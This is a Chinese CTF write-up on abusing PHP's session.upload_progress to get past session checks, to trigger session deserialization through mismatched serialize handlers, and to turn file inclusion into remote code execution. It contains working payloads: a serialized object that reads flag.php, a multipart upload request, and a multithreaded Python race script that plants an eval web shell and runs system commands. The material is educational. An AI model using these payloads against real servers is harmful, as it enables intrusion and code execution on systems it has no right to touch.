看看session.upload_progress


这个东西让我印象挺深刻的(

最近一次接触还是在一道SQL注入的题目:

[PwnThyBytes2019] BabySQL

由于login.php没有session存在的时候就不能访问,并且无法注入

所以这时候就需要我们自己创造一个session

所以session_upload_progress在这里就派上用场了

1
当session.upload_progress.enabled打开的时候(默认为On),我们传入PHP_SESSION_UPLOAD_PROGRESS的时候,php会执行session_start(),这个时候就会绕过没有session的限制

然后我就想起来之前session反序列化的时候好像也是用这个session_upload_progress的

觉得这个东西挺有用的,就来学习一下

还有就是这个了(雾)

1.绕过!isset[$session]

就是上面的引子引入的题目,不多赘述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
$_SESSION['username'] = $user;
return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>
#login.php

2.session反序列化

session序列化/反序列化的默认引擎是php

但是如果php文件变成了:

1
2
<?php
ini_set('session.serialize_handler','php_serialize');

就将序列化的引擎改变了(php_serialize)

php引擎对于序列化的存储格式是:|serialized_string,而php_serialize引擎的存储格式是serialized_string,如果使用两个引擎分别处理的时候就会出现问题

这是因为php_serialize会将|当作正常字符来解析,生成session,php中会将|看作分隔符,解析session文件时会直接对|后的值进行反序列化处理(session_start())

如果存在两种不同的引擎的时候,就可以利用session_start()的自动反序列化传输数据

此时当浏览器向服务器上传一个文件时,php将会把文件上传的详细信息存储在session当中;只需往该地址POST一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,就可以将文件名的值赋值到session中,进行session反序列化

前提当然是session.upload_progress.enabled为On

1
2
3
4
5
6
7
这个过程就是:

由于处理引擎使用和默认引擎的不同导致竖线(|)后面的数据可以被反序列化

使用php_serialize引擎生成的正常session(包含有序列化信息)在php引擎处会被session_start()自动序列化

session.upload_progress.enabled打开的时候会将文件信息存储在session中,此时只需POST一个PHP_SESSION_UPLOAD_PROGRESS的字段,就可以将文件名的值赋值到session中,进行session反序列化

简单看一个以前做的题就知道了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
ini_set('session.serialize_handler', 'php');

if(isset($_POST['source'])){
highlight_file(__FILE__);
phpinfo();
die();
}
error_reporting(0);
include "flag.php";
class Game{
public $log,$name,$play;

public function __construct($name){
$this->name = $name;
$this->log = '/tmp/'.md5($name).'.log';
}

public function play($user_input,$bot_input){
$output = array('Rock'=>'&#9996;&#127995;','Paper'=>'&#9994;&#127995;','Scissors'=>'&#9995;&#127995;');
$this->play = $user_input.$bot_input;
if($this->play == "RockRock" || $this->play == "PaperPaper" || $this->play == "ScissorsScissors"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." Draw</div>\n",FILE_APPEND);
return "Draw";
} else if($this->play == "RockPaper" || $this->play == "PaperScissors" || $this->play == "ScissorsRock"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Lose</div>\n",FILE_APPEND);
return "You Lose";
} else if($this->play == "RockScissors" || $this->play == "PaperRock" || $this->play == "ScissorsPaper"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Win</div>\n",FILE_APPEND);
return "You Win";
}
}

public function __destruct(){
echo "<h5>Game History</h5>\n";
echo "<div class='all_output'>\n";
echo file_get_contents($this->log);
echo "</div>";
}
}

?>

<?php
session_start();
if(isset($_POST['name'])){
$_SESSION['name']=$_POST['name'];
$_SESSION['win']=0;
}
if(!isset($_SESSION['name'])){
?>
<body>
<h5>Input your name :</h5>
<form method="post">
<input type="text" class="result" name="name"></input>
<button type="submit">submit</button>
</form>
</body>
</html>
<?php exit();
}

?>

(ctfshow新手杯-石头剪刀布)

源码可以看到__destruct()魔术方法里file_get_contents()这一个危险的函数

可以想到用反序列化获取flag

虽然整个源码没有unserialize()函数,但是源码开头将序列化反序列化引擎设置为了php,通过phpinfo()可以看到默认处理器是php_serialize,且session.upload_progress.enabled已经打开

所以这里就可以通过尝试上传session进行反序列化

先进行反序列化,这个反序列化连我都能看得懂(

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class Game{
public $log="/var/www/html/flag.php"; //需要完整路径
public $name=1;
public $play="";
}
$a=new Game();
echo serialize($a);
?>
#output O:4:"Game":3:{s:3:"log";s:22:"/var/www/html/flag.php";s:4:"name";i:1;s:4:"play";s:0:"";}
//然后记得在每个双引号前添加反斜杠(\)防止转义,在前面添加竖线即可
|O:4:\"Game\":3:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";s:4:\"name\";i:1;s:4:\"play\";s:0:\"\";}

然后post传个文件:

1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryg3k5hVdW6mTNQVxP
1
2
3
4
5
6
7
8
9
10
------WebKitFormBoundaryg3k5hVdW6mTNQVxP
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

aaaaaa
------WebKitFormBoundaryg3k5hVdW6mTNQVxP
Content-Disposition: form-data; name="file"; filename="|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}"
Content-Type: text/plain


------WebKitFormBoundaryg3k5hVdW6mTNQVxP--

发包过去就好了

3.文件包含

1.如果session.auto_start=On的话,即使没有session_start()也会对session进行初始化,但是默认关闭

由于session.use_strict_mode默认值为0,导致用户可以自定义Session ID(Cookie: PHPSESSID= xxx)

这个时候PHP就会在服务器上创建一个文件/tmp/sess_xxx

这个时候PHP会自动初始化session,并且将文件名等内容写入sess_xxx文件中

其实就是这个:

1
2
upload_progress_NSSCTF{c6c326ee-fda7-4078-a6c0-c1feeca911b2}
|a:5:{s:10:"start_time";i:1677673236;s:14:"content_length";i:277;s:15:"bytes_processed";i:277;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:9:"Err0r.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1677673236;s:15:"bytes_processed";i:0;}}}

upload_progress_xxx 这个xxx其实就是命令执行之后的结果

然后序列化的结果就是文件的一些详细信息,包括文件名,上传时间等

也就是说如果我们此时包含了这个文件,这个文件写入了eval()的话就可以进行rce

但是由于session.upload_progress.cleanup = on使得上传的sess_xx会被立即清空,此时在session文件内容清空前包含即可

script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import io
import threading

url=''
sessid="Err0r"

def write(session):
filebytes = io.BytesIO(b'aaaa'*1024*50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':"<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID':sessid
},
files={
'file':('Err0r.txt',filebytes)
}
)

def read(session):
while True:
res = session.post(url+"?file=/tmp/sess_"+sessid,
data={
"1":"system('ls /');"
},
cookies={
"PHPSESSID":sessid
}
)
if 'Err0r.txt' in res.text:
print("Success!")
print(res.text)
break
else:
print("Retry")

if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
event.set()
#采用一个多线程发包(

如果是利用 burp 发包的话

你需要准备一个session的包(包含有PHPSESSIDPHP_SESSION_UPLOAD_PROGRESS的那个包),然后一个文件包含包(?file=/tmp/sess_id的那个)

同时发包,赶在sess_id文件清除之前访问即可